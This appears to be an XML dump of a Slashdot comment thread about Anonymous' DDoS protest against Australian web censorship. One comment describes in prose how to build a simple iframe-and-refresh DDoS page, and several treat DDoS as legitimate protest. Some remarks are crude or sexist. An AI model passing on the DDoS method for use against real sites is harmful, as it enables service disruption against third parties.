This is why we should be concerned about Australia , because Australia can be used in the " if they can do it so can we " excuse , while China ca n't .</tokentext>
<sentencetext>The question that I want to ask, is why so many Americans etc want to get involved in what is our own choice here in Australia.
As a nation we generally like and expect some censorship.
What is that to you?
What is it to Anonymous?
It's our nation and we can do as we like with it.We elected this government and the previous one which planned the censorship originally.
Unlike the USA we actually do have a pretty democratic system here.
Let us run our country as we like!Because when a "respected" nation does something that a "non respected" nation does, then it becomes "respectable".
China has draconian monitoring systems to watch its citizens, it's distasteful.
The UK has draconian monitoring systems, it's a template for the US.
This is why we should be concerned about Australia, because Australia can be used in the "if they can do it so can we" excuse, while China can't.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143826</id>
	<title>Re:"tit storm"</title>
	<author>Xest</author>
	<datestamp>1266248400000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>"It is immature and reeks of disorganization."<nobr> <wbr></nobr>...and yet despite that, as we saw with the Scientology protests, it's one of the few online communities that has got involved in any real political activism, and arguably the largest and most successful in making their voice heard in real life so far.</p><p>So whilst people like yourself will sit here and whinge and infringements of civil liberties and so forth, but not actually act on that, they are actually out there getting involved.</p><p>I'm not exactly a fan of 4chan, and think some of Anonymous' actions have been idiotic, but at least they're doing something to make their point heard rather than just whinging.</p></htmltext>
<tokenext>" It is immature and reeks of disorganization .
" ...and yet despite that , as we saw with the Scientology protests , it 's one of the few online communities that has got involved in any real political activism , and arguably the largest and most successful in making their voice heard in real life so far.So whilst people like yourself will sit here and whinge and infringements of civil liberties and so forth , but not actually act on that , they are actually out there getting involved.I 'm not exactly a fan of 4chan , and think some of Anonymous ' actions have been idiotic , but at least they 're doing something to make their point heard rather than just whinging .</tokentext>
<sentencetext>"It is immature and reeks of disorganization.
" ...and yet despite that, as we saw with the Scientology protests, it's one of the few online communities that has got involved in any real political activism, and arguably the largest and most successful in making their voice heard in real life so far.So whilst people like yourself will sit here and whinge and infringements of civil liberties and so forth, but not actually act on that, they are actually out there getting involved.I'm not exactly a fan of 4chan, and think some of Anonymous' actions have been idiotic, but at least they're doing something to make their point heard rather than just whinging.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141314</id>
	<title>Question</title>
	<author>Anonymous</author>
	<datestamp>1266176700000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>What is universal that should be banned (e.g., child porn) as opposed to filtered out by parents? I don't agree with how they're going about it Down Under, but I am wondering about this question.</p></htmltext>
<tokenext>What is universal that should be banned ( e.g. , child porn ) as opposed to filtered out by parents ?
I do n't agree with how they 're going about it Down Under , but I am wondering about this question .</tokentext>
<sentencetext>What is universal that should be banned (e.g., child porn) as opposed to filtered out by parents?
I don't agree with how they're going about it Down Under, but I am wondering about this question.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141394</id>
	<title>'Anonymous' another way of saying 'the people'?</title>
	<author>Anonymous</author>
	<datestamp>1266177360000</datestamp>
	<modclass>Troll</modclass>
	<modscore>-1</modscore>
	<htmltext>Has the concept of "the people" being fed up with something, spontaneously organizing, and taking action been so forgotten that the only way the press can deal with it is to attribute it to a fictional group named Anonymous?</htmltext>
<tokenext>Has the concept of " the people " being fed up with something , spontaneously organizing , and taking action been so forgotten that the only way the press can deal with it is to attribute it to a fictional group named Anonymous ?</tokentext>
<sentencetext>Has the concept of "the people" being fed up with something, spontaneously organizing, and taking action been so forgotten that the only way the press can deal with it is to attribute it to a fictional group named Anonymous?</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31146284</id>
	<title>Re:"tit storm"</title>
	<author>NotBornYesterday</author>
	<datestamp>1266260280000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p><div class="quote"><p>Really guys, naming your protest after female anatomy does nothing to help the cause.</p></div><p>Why not?  What's wrong with tits?  They're fabulous.</p></div>
	</htmltext>
<tokenext>Really guys , naming your protest after female anatomy does nothing to help the cause.Why not ?
What 's wrong with tits ?
They 're fabulous .</tokentext>
<sentencetext>Really guys, naming your protest after female anatomy does nothing to help the cause.Why not?
What's wrong with tits?
They're fabulous.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142160</id>
	<title>Don't worry ma'am, we know how to handle tits!</title>
	<author>Trip6</author>
	<datestamp>1266229980000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>Quick, which movie is this line from?</p></htmltext>
<tokenext>Quick , which movie is this line from ?</tokentext>
<sentencetext>Quick, which movie is this line from?</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141908</id>
	<title>Re:Tits or not, no one listens to protestors</title>
	<author>Anonymous</author>
	<datestamp>1266226440000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>Portraying them as losers is one thing, but the suggestion that they are deranged enough to refrigerate Cheetos is going too far.</p></htmltext>
<tokenext>Portraying them as losers is one thing , but the suggestion that they are deranged enough to refrigerate Cheetos is going too far .</tokentext>
<sentencetext>Portraying them as losers is one thing, but the suggestion that they are deranged enough to refrigerate Cheetos is going too far.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141444</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143130</id>
	<title>Re:"tit storm"</title>
	<author>c6gunner</author>
	<datestamp>1266243180000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p><div class="quote"><p>But considering you are female and a geek</p></div><p>I dunno about you, but I always thought that the name "girl in training" suggested a pre-op transvestite rather than an actual female<nobr> <wbr></nobr>...</p></div>
	</htmltext>
<tokenext>But considering you are female and a geekI dunno about you , but I always thought that the name " girl in training " suggested a pre-op transvestite rather than an actual female .. .</tokentext>
<sentencetext>But considering you are female and a geekI dunno about you, but I always thought that the name "girl in training" suggested a pre-op transvestite rather than an actual female ...
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141640</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31144742</id>
	<title>how BIG and small are we talking about here?</title>
	<author>spammeister</author>
	<datestamp>1266252780000</datestamp>
	<modclass>Funny</modclass>
	<modscore>2</modscore>
	<htmltext>( o )( o )<br>
too small?<br>
(  O  ) (  O  )<br>
just right?</htmltext>
<tokenext>( o ) ( o ) too small ?
( O ) ( O ) just right ?</tokentext>
<sentencetext>( o )( o )
too small?
(  O  ) (  O  )
just right?</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141928</id>
	<title>Re:Question</title>
	<author>Liambp</author>
	<datestamp>1266226680000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>5</modscore>
	<htmltext><p>Ok I know I may just be feeding the troll but I am going to have a go at this.</p><p>I live in a small pro-western European nation that is pretty middle of the road in terms of politics and liberal/conservative agendas. While I entirely respect the Australian peoples right to choose their own laws it never the less worries me when I see the Australian government do something that I don't want my own government to do.</p><p>The problem is that Australia is seen as "one of us" an English speaking westernised liberal democracy. If a policy is successfully implemented in Australia it gains a certain credibility that the same policy implemented in North Korea or Iran or even China would lack. Those of a certain frame of mind in my own country could point to Australia and push for similar legislation here.</p></htmltext>
<tokenext>Ok I know I may just be feeding the troll but I am going to have a go at this.I live in a small pro-western European nation that is pretty middle of the road in terms of politics and liberal/conservative agendas .
While I entirely respect the Australian peoples right to choose their own laws it never the less worries me when I see the Australian government do something that I do n't want my own government to do.The problem is that Australia is seen as " one of us " an English speaking westernised liberal democracy .
If a policy is successfully implemented in Australia it gains a certain credibility that the same policy implemented in North Korea or Iran or even China would lack .
Those of a certain frame of mind in my own country could point to Australia and push for similar legislation here .</tokentext>
<sentencetext>Ok I know I may just be feeding the troll but I am going to have a go at this.I live in a small pro-western European nation that is pretty middle of the road in terms of politics and liberal/conservative agendas.
While I entirely respect the Australian peoples right to choose their own laws it never the less worries me when I see the Australian government do something that I don't want my own government to do.The problem is that Australia is seen as "one of us" an English speaking westernised liberal democracy.
If a policy is successfully implemented in Australia it gains a certain credibility that the same policy implemented in North Korea or Iran or even China would lack.
Those of a certain frame of mind in my own country could point to Australia and push for similar legislation here.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141640</id>
	<title>Re:"tit storm"</title>
	<author>Hurricane78</author>
	<datestamp>1266266280000</datestamp>
	<modclass>Troll</modclass>
	<modscore>0</modscore>
	<htmltext><p>I agree, it&rsquo;s a bit sexist. Then again, what did you expect from 4Chan?</p><p>Don&rsquo;t worry, we have a &ldquo;Operation Dickstorm&rdquo; just for you. ^^</p><p>But considering you are female and a geek, I guess you will prefer the titstorm anyway.<nobr> <wbr></nobr>;))</p></htmltext>
<tokenext>I agree , it    s a bit sexist .
Then again , what did you expect from 4Chan ? Don    t worry , we have a    Operation Dickstorm    just for you .
^ ^ But considering you are female and a geek , I guess you will prefer the titstorm anyway .
; ) )</tokentext>
<sentencetext>I agree, it’s a bit sexist.
Then again, what did you expect from 4Chan?Don’t worry, we have a “Operation Dickstorm” just for you.
^^But considering you are female and a geek, I guess you will prefer the titstorm anyway.
;))</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572</id>
	<title>Re:Question</title>
	<author>dov\_0</author>
	<datestamp>1266265560000</datestamp>
	<modclass>Flamebait</modclass>
	<modscore>1</modscore>
	<htmltext><p>The question that I want to ask, is why so many Americans etc want to get involved in what is our own choice here in Australia. As a nation we generally like and expect some censorship. What is that to you? What is it to Anonymous? It's our nation and we can do as we like with it.</p><p>We elected this government and the previous one which planned the censorship originally. Unlike the USA we actually do have a pretty democratic system here. Let us run our country as we like!</p></htmltext>
<tokenext>The question that I want to ask , is why so many Americans etc want to get involved in what is our own choice here in Australia .
As a nation we generally like and expect some censorship .
What is that to you ?
What is it to Anonymous ?
It 's our nation and we can do as we like with it.We elected this government and the previous one which planned the censorship originally .
Unlike the USA we actually do have a pretty democratic system here .
Let us run our country as we like !</tokentext>
<sentencetext>The question that I want to ask, is why so many Americans etc want to get involved in what is our own choice here in Australia.
As a nation we generally like and expect some censorship.
What is that to you?
What is it to Anonymous?
It's our nation and we can do as we like with it.We elected this government and the previous one which planned the censorship originally.
Unlike the USA we actually do have a pretty democratic system here.
Let us run our country as we like!</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141314</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141678</id>
	<title>Re:"tit storm"</title>
	<author>phantomfive</author>
	<datestamp>1266266640000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p><div class="quote"><p>Really guys, naming your protest after female anatomy does nothing to help the cause. It is immature and reeks of disorganization.</p></div><p>Some people like protesting more than they actually care about the issue.  Anonymous probably fits into that category as much as anybody (yeah yeah, a group is made up of individuals and each one is there for a different reason, but if they really cared they would come up with a better name).</p></div>
	</htmltext>
<tokenext>Really guys , naming your protest after female anatomy does nothing to help the cause .
It is immature and reeks of disorganization.Some people like protesting more than they actually care about the issue .
Anonymous probably fits into that category as much as anybody ( yeah yeah , a group is made up of individuals and each one is there for a different reason , but if they really cared they would come up with a better name ) .</tokentext>
<sentencetext>Really guys, naming your protest after female anatomy does nothing to help the cause.
It is immature and reeks of disorganization.Some people like protesting more than they actually care about the issue.
Anonymous probably fits into that category as much as anybody (yeah yeah, a group is made up of individuals and each one is there for a different reason, but if they really cared they would come up with a better name).
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582</id>
	<title>Curiosity</title>
	<author>Anonymous</author>
	<datestamp>1266265800000</datestamp>
	<modclass>Interestin</modclass>
	<modscore>5</modscore>
	<htmltext><p>So, I became curious when I read about this DDOS on the Australian websites. I wondered: how hard would it be to write a simple, DDOS tool? Something that didn't require anything fancy, that anybody could do without installing anything special?</p><p>So, I wrote something, and tested it on my own local webserver. Surprisingly, it took me less than 10 minutes to write a simple javascript webpage with iframes that generated in excess of a million hits an hour in about 20 lines of HTML + javascript, armed with nothing more than a browser and notepad. I didn't even have to host it; the file was saved locally on my HDD!</p><p>The method was simple: a webpage with a bunch of iframes that sourced the target, and a javascript onload that refreshed the page. How could it get any simpler? My conclusion? A DDOS attack is the digital equivalent of peasants throwing rocks. Anybody can do it. It requires nothing. It's still a rather effective form of attack!</p></htmltext>
<tokenext>So , I became curious when I read about this DDOS on the Australian websites .
I wondered : how hard would it be to write a simple , DDOS tool ?
Something that did n't require anything fancy , that anybody could do without installing anything special ? So , I wrote something , and tested it on my own local webserver .
Surprisingly , it took me less than 10 minutes to write a simple javascript webpage with iframes that generated in excess of a million hits an hour in about 20 lines of HTML + javascript , armed with nothing more than a browser and notepad .
I did n't even have to host it ; the file was saved locally on my HDD ! The method was simple : a webpage with a bunch of iframes that sourced the target , and a javascript onload that refreshed the page .
How could it get any simpler ?
My conclusion ?
A DDOS attack is the digital equivalent of peasants throwing rocks .
Anybody can do it .
It requires nothing .
It 's still a rather effective form of attack !</tokentext>
<sentencetext>So, I became curious when I read about this DDOS on the Australian websites.
I wondered: how hard would it be to write a simple, DDOS tool?
Something that didn't require anything fancy, that anybody could do without installing anything special?So, I wrote something, and tested it on my own local webserver.
Surprisingly, it took me less than 10 minutes to write a simple javascript webpage with iframes that generated in excess of a million hits an hour in about 20 lines of HTML + javascript, armed with nothing more than a browser and notepad.
I didn't even have to host it; the file was saved locally on my HDD!The method was simple: a webpage with a bunch of iframes that sourced the target, and a javascript onload that refreshed the page.
How could it get any simpler?
My conclusion?
A DDOS attack is the digital equivalent of peasants throwing rocks.
Anybody can do it.
It requires nothing.
It's still a rather effective form of attack!</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346</id>
	<title>"tit storm"</title>
	<author>Anonymous</author>
	<datestamp>1266177000000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>1</modscore>
	<htmltext><p>Really guys, naming your protest after female anatomy does nothing to help the cause. It is immature and reeks of disorganization. There are far better ways to undermine censorship. You have to attack the authority of the censors. Make them appear weak, useless, and strip their credibility. Expose them at every corner as being partial, biased, and at the same time abjectly failing to do their jobs. They are government so this shouldn't be any real kind of challenge now should it?</p><p>I look forward to seeing pictures of these censorship advocates having sex with their mistresses, getting wasted in public, allegations of bribery, and all other unseemly manner of behavior. Because if there's one thing the public can't stand for, it's being prohibited from doing the very things these authority types reserve for themselves. They already believe themselves to be morally superior to you so I ask again -- what real challenge is there here?</p></htmltext>
<tokenext>Really guys , naming your protest after female anatomy does nothing to help the cause .
It is immature and reeks of disorganization .
There are far better ways to undermine censorship .
You have to attack the authority of the censors .
Make them appear weak , useless , and strip their credibility .
Expose them at every corner as being partial , biased , and at the same time abjectly failing to do their jobs .
They are government so this should n't be any real kind of challenge now should it ? I look forward to seeing pictures of these censorship advocates having sex with their mistresses , getting wasted in public , allegations of bribery , and all other unseemly manner of behavior .
Because if there 's one thing the public ca n't stand for , it 's being prohibited from doing the very things these authority types reserve for themselves .
They already believe themselves to be morally superior to you so I ask again -- what real challenge is there here ?</tokentext>
<sentencetext>Really guys, naming your protest after female anatomy does nothing to help the cause.
It is immature and reeks of disorganization.
There are far better ways to undermine censorship.
You have to attack the authority of the censors.
Make them appear weak, useless, and strip their credibility.
Expose them at every corner as being partial, biased, and at the same time abjectly failing to do their jobs.
They are government so this shouldn't be any real kind of challenge now should it?I look forward to seeing pictures of these censorship advocates having sex with their mistresses, getting wasted in public, allegations of bribery, and all other unseemly manner of behavior.
Because if there's one thing the public can't stand for, it's being prohibited from doing the very things these authority types reserve for themselves.
They already believe themselves to be morally superior to you so I ask again -- what real challenge is there here?</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141664</id>
	<title>Re:"tit storm"</title>
	<author>Evil Shabazz</author>
	<datestamp>1266266520000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p><div class="quote"><p>There are far better ways to undermine [group]. You have to attack the authority of the [group]. Make them appear weak, useless, and strip their credibility. Expose them at every corner as being partial, biased, and at the same time abjectly failing to do their jobs.</p></div><p>That kind of rationality only works with individuals, small groups, and/or in the movies.  It is not nearly as effective against large-scale mob mentality that has been duped into drinking the Kool Aid and is no longer capable of rational though on its own - such as, say, the Evangelical Republicans or the Obamacrats...  I wish you were right and it really was that simple, but alas... look at the state of the USA right now.</p></div>
	</htmltext>
<tokenext>There are far better ways to undermine [ group ] .
You have to attack the authority of the [ group ] .
Make them appear weak , useless , and strip their credibility .
Expose them at every corner as being partial , biased , and at the same time abjectly failing to do their jobs.That kind of rationality only works with individuals , small groups , and/or in the movies .
It is not nearly as effective against large-scale mob mentality that has been duped into drinking the Kool Aid and is no longer capable of rational though on its own - such as , say , the Evangelical Republicans or the Obamacrats... I wish you were right and it really was that simple , but alas... look at the state of the USA right now .</tokentext>
<sentencetext>There are far better ways to undermine [group].
You have to attack the authority of the [group].
Make them appear weak, useless, and strip their credibility.
Expose them at every corner as being partial, biased, and at the same time abjectly failing to do their jobs.That kind of rationality only works with individuals, small groups, and/or in the movies.
It is not nearly as effective against large-scale mob mentality that has been duped into drinking the Kool Aid and is no longer capable of rational though on its own - such as, say, the Evangelical Republicans or the Obamacrats...  I wish you were right and it really was that simple, but alas... look at the state of the USA right now.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31146070</id>
	<title>Re:Slashdot, please stop being dumb re:'Anonymous'</title>
	<author>Anonymous</author>
	<datestamp>1266259260000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>And most of them have little-to-no 'hacking' (in this context, more 'cracking') experience to speak of. Denial of service attacks are not hard to implement, and the distributed bit is mostly (only?) by virtue of having a few thousand people involved.</p></htmltext>
<tokenext>And most of them have little-to-no 'hacking ' ( in this context , more 'cracking ' ) experience to speak of .
Denial of service attacks are not hard to implement , and the distributed bit is mostly ( only ?
) by virtue of having a few thousand people involved .</tokentext>
<sentencetext>And most of them have little-to-no 'hacking' (in this context, more 'cracking') experience to speak of.
Denial of service attacks are not hard to implement, and the distributed bit is mostly (only?
) by virtue of having a few thousand people involved.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141670</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141356</id>
	<title>The problem with headless organizations</title>
	<author>Anonymous</author>
	<datestamp>1266177060000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>0</modscore>
	<htmltext><p>As you can see, the problem with headless organizations such as Anonymous, or the Tea-Baggers is that, without some sort of filter at the top to weed out the stupid ideas, pretty much anything can be espoused as being a 'core ideal' of the group.</p><p>While censorship is bad.. Operation Titstorm? Whatever 15 year old came up with that is likely not the coalesced summation of ideals that Anonymous was created for.</p></htmltext>
<tokenext>As you can see , the problem with headless organizations such as Anonymous , or the Tea-Baggers is that , without some sort of filter at the top to weed out the stupid ideas , pretty much anything can be espoused as being a 'core ideal ' of the group.While censorship is bad.. Operation Titstorm ?
Whatever 15 year old came up with that is likely not the coalesced summation of ideals that Anonymous was created for .</tokentext>
<sentencetext>As you can see, the problem with headless organizations such as Anonymous, or the Tea-Baggers is that, without some sort of filter at the top to weed out the stupid ideas, pretty much anything can be espoused as being a 'core ideal' of the group.While censorship is bad.. Operation Titstorm?
Whatever 15 year old came up with that is likely not the coalesced summation of ideals that Anonymous was created for.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141614</id>
	<title>Re:Tits or not, no one listens to protestors</title>
	<author>Demonoid-Penguin</author>
	<datestamp>1266266040000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p><div class="quote"><p>But most of them are college-age basement dwellers who type out their screeds in between trips to the minifridge to get more Cheetos.</p></div><p>[Asked very sl-o-wly] Are you American??</p><p><div class="quote"><p>Tits or not, no one listens to protestors</p></div><p>Perhaps you should have read the linked article... the bit you're looking for is <b>silent protest</b>. I'll summarize the rest of the info for you <a href="http://images.encyclopediadramatica.com/images/5/50/STFU.gif" title="encycloped...matica.com" rel="nofollow">STFU</a> [encycloped...matica.com].</p><p>I could be confused - but is "protestors" a word?? In this particular instance I think (hope) that you are wrong. The general public, and most of the politicians believe that it is only a small section of society that is against censorship. The protest will allow them to see that those against censorship are not a bunch of socialmisfits in search of lolz and animal sex.</p><p>I, for one, welcome the chance to put the agenda to the politicians.</p><p>I'd love to hear that someone was organizing a protest next week - at the American Embassy against the imposition of ACTA, and the lobbying (read bribing) of Australian politicians to support/allow *IAA. Maybe iinet could put on some buses?</p></div>
	</htmltext>
<tokenext>But most of them are college-age basement dwellers who type out their screeds in between trips to the minifridge to get more Cheetos .
[ Asked very sl-o-wly ] Are you American ?
? Tits or not , no one listens to protestorsPerhaps you should have read the linked article... the bit you 're looking for is silent protest .
I 'll summarize the rest of the info for you STFU [ encycloped...matica.com ] .I could be confused - but is " protestors " a word ? ?
In this particular instance I think ( hope ) that you are wrong .
The general public , and most of the politicians believe that it is only a small section of society that is against censorship .
The protest will allow them to see that those against censorship are not a bunch of socialmisfits in search of lolz and animal sex.I , for one , welcome the chance to put the agenda to the politicians.I 'd love to hear that someone was organizing a protest next week - at the American Embassy against the imposition of ACTA , and the lobbying ( read bribing ) of Australian politicians to support/allow * IAA .
Maybe iinet could put on some buses ?</tokentext>
<sentencetext>But most of them are college-age basement dwellers who type out their screeds in between trips to the minifridge to get more Cheetos.
[Asked very sl-o-wly] Are you American?
?Tits or not, no one listens to protestorsPerhaps you should have read the linked article... the bit you're looking for is silent protest.
I'll summarize the rest of the info for you STFU [encycloped...matica.com].I could be confused - but is "protestors" a word??
In this particular instance I think (hope) that you are wrong.
The general public, and most of the politicians believe that it is only a small section of society that is against censorship.
The protest will allow them to see that those against censorship are not a bunch of socialmisfits in search of lolz and animal sex.I, for one, welcome the chance to put the agenda to the politicians.I'd love to hear that someone was organizing a protest next week - at the American Embassy against the imposition of ACTA, and the lobbying (read bribing) of Australian politicians to support/allow *IAA.
Maybe iinet could put on some buses?
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141334</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31151306</id>
	<title>Re:Question</title>
	<author>Macgrrl</author>
	<datestamp>1266245880000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>Oi! As an Australian I object to you speaking on my behalf in claiming we like censorship. I'm pretty sure if I did a straw poll among my friends they would pretty much all be against it. Even the parents with young children.</p><p>I'm in support of the rating of content so that consumers can make informed choices (and take personal responsibility for those choices), but it is not up to the government to decide that certain content is took challenging for me to accept/tolerate/understand. That way bad things lie.</p></htmltext>
<tokenext>Oi !
As an Australian I object to you speaking on my behalf in claiming we like censorship .
I 'm pretty sure if I did a straw poll among my friends they would pretty much all be against it .
Even the parents with young children.I 'm in support of the rating of content so that consumers can make informed choices ( and take personal responsibility for those choices ) , but it is not up to the government to decide that certain content is took challenging for me to accept/tolerate/understand .
That way bad things lie .</tokentext>
<sentencetext>Oi!
As an Australian I object to you speaking on my behalf in claiming we like censorship.
I'm pretty sure if I did a straw poll among my friends they would pretty much all be against it.
Even the parents with young children.I'm in support of the rating of content so that consumers can make informed choices (and take personal responsibility for those choices), but it is not up to the government to decide that certain content is took challenging for me to accept/tolerate/understand.
That way bad things lie.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31178628</id>
	<title>It's perfectly natural.</title>
	<author>Grendel Drago</author>
	<datestamp>1265030400000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>College age is the maximum of two trendlines, taken together. As we grow older, we acquire responsibilities, take on power to decide our own actions. But this means that we become caught up in the details; our gaze falls from the horizon; we end up looking at our own feet and just trying to get by without rocking our precarious little boats.</p><p>The moment when we're most free to change the world, when the desire burns brightest in us, is that age. No wonder college kids do so much protesting and working--their sharp edges haven't been worn down yet.</p></htmltext>
<tokenext>College age is the maximum of two trendlines , taken together .
As we grow older , we acquire responsibilities , take on power to decide our own actions .
But this means that we become caught up in the details ; our gaze falls from the horizon ; we end up looking at our own feet and just trying to get by without rocking our precarious little boats.The moment when we 're most free to change the world , when the desire burns brightest in us , is that age .
No wonder college kids do so much protesting and working--their sharp edges have n't been worn down yet .</tokentext>
<sentencetext>College age is the maximum of two trendlines, taken together.
As we grow older, we acquire responsibilities, take on power to decide our own actions.
But this means that we become caught up in the details; our gaze falls from the horizon; we end up looking at our own feet and just trying to get by without rocking our precarious little boats.The moment when we're most free to change the world, when the desire burns brightest in us, is that age.
No wonder college kids do so much protesting and working--their sharp edges haven't been worn down yet.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141564</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31153408</id>
	<title>Re:Curiosity</title>
	<author>ShakaUVM</author>
	<datestamp>1266314460000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>&gt;&gt;Actually there are automated "vampire leech" scripts that "rape" bandwidth</p><p>The irony is that the titstorming Aussies actually have to pay for bandwidth to the states. So they end up paying money to their ISP in order to DDOS the government.</p><p>Or did years ago. I dunno if they still have bandwidth caps nowadays.</p></htmltext>
<tokenext>&gt; &gt; Actually there are automated " vampire leech " scripts that " rape " bandwidthThe irony is that the titstorming Aussies actually have to pay for bandwidth to the states .
So they end up paying money to their ISP in order to DDOS the government.Or did years ago .
I dunno if they still have bandwidth caps nowadays .</tokentext>
<sentencetext>&gt;&gt;Actually there are automated "vampire leech" scripts that "rape" bandwidthThe irony is that the titstorming Aussies actually have to pay for bandwidth to the states.
So they end up paying money to their ISP in order to DDOS the government.Or did years ago.
I dunno if they still have bandwidth caps nowadays.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141852</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143010</id>
	<title>preparing for China buyout?</title>
	<author>Anonymous</author>
	<datestamp>1266241560000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>Companies often prepare for M&amp;A by complying with the buyer's rules prior the purchase event.  Considering the amount of mining investment that China has in Australia, maybe this censorship is just a prerequisite before the merger?</p></htmltext>
<tokenext>Companies often prepare for M&amp;A by complying with the buyer 's rules prior the purchase event .
Considering the amount of mining investment that China has in Australia , maybe this censorship is just a prerequisite before the merger ?</tokentext>
<sentencetext>Companies often prepare for M&amp;A by complying with the buyer's rules prior the purchase event.
Considering the amount of mining investment that China has in Australia, maybe this censorship is just a prerequisite before the merger?</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141624</id>
	<title>Not so anonymous now, are we? ^^</title>
	<author>Anonymous</author>
	<datestamp>1266266100000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>I wonder how they plan to stay anonymous in those protests...</p></htmltext>
<tokenext>I wonder how they plan to stay anonymous in those protests.. .</tokentext>
<sentencetext>I wonder how they plan to stay anonymous in those protests...</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143212</id>
	<title>"Titstorm" is a /b/rilliant name</title>
	<author>Anonymous</author>
	<datestamp>1266243900000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>DDoS attacks against a government are bound to get into the local media, and hearing "titstorm" is bound to get the common man's attention... because who doesn't like a good pair of<nobr> <wbr></nobr>... storms...</p></htmltext>
<tokenext>DDoS attacks against a government are bound to get into the local media , and hearing " titstorm " is bound to get the common man 's attention... because who does n't like a good pair of ... storms.. .</tokentext>
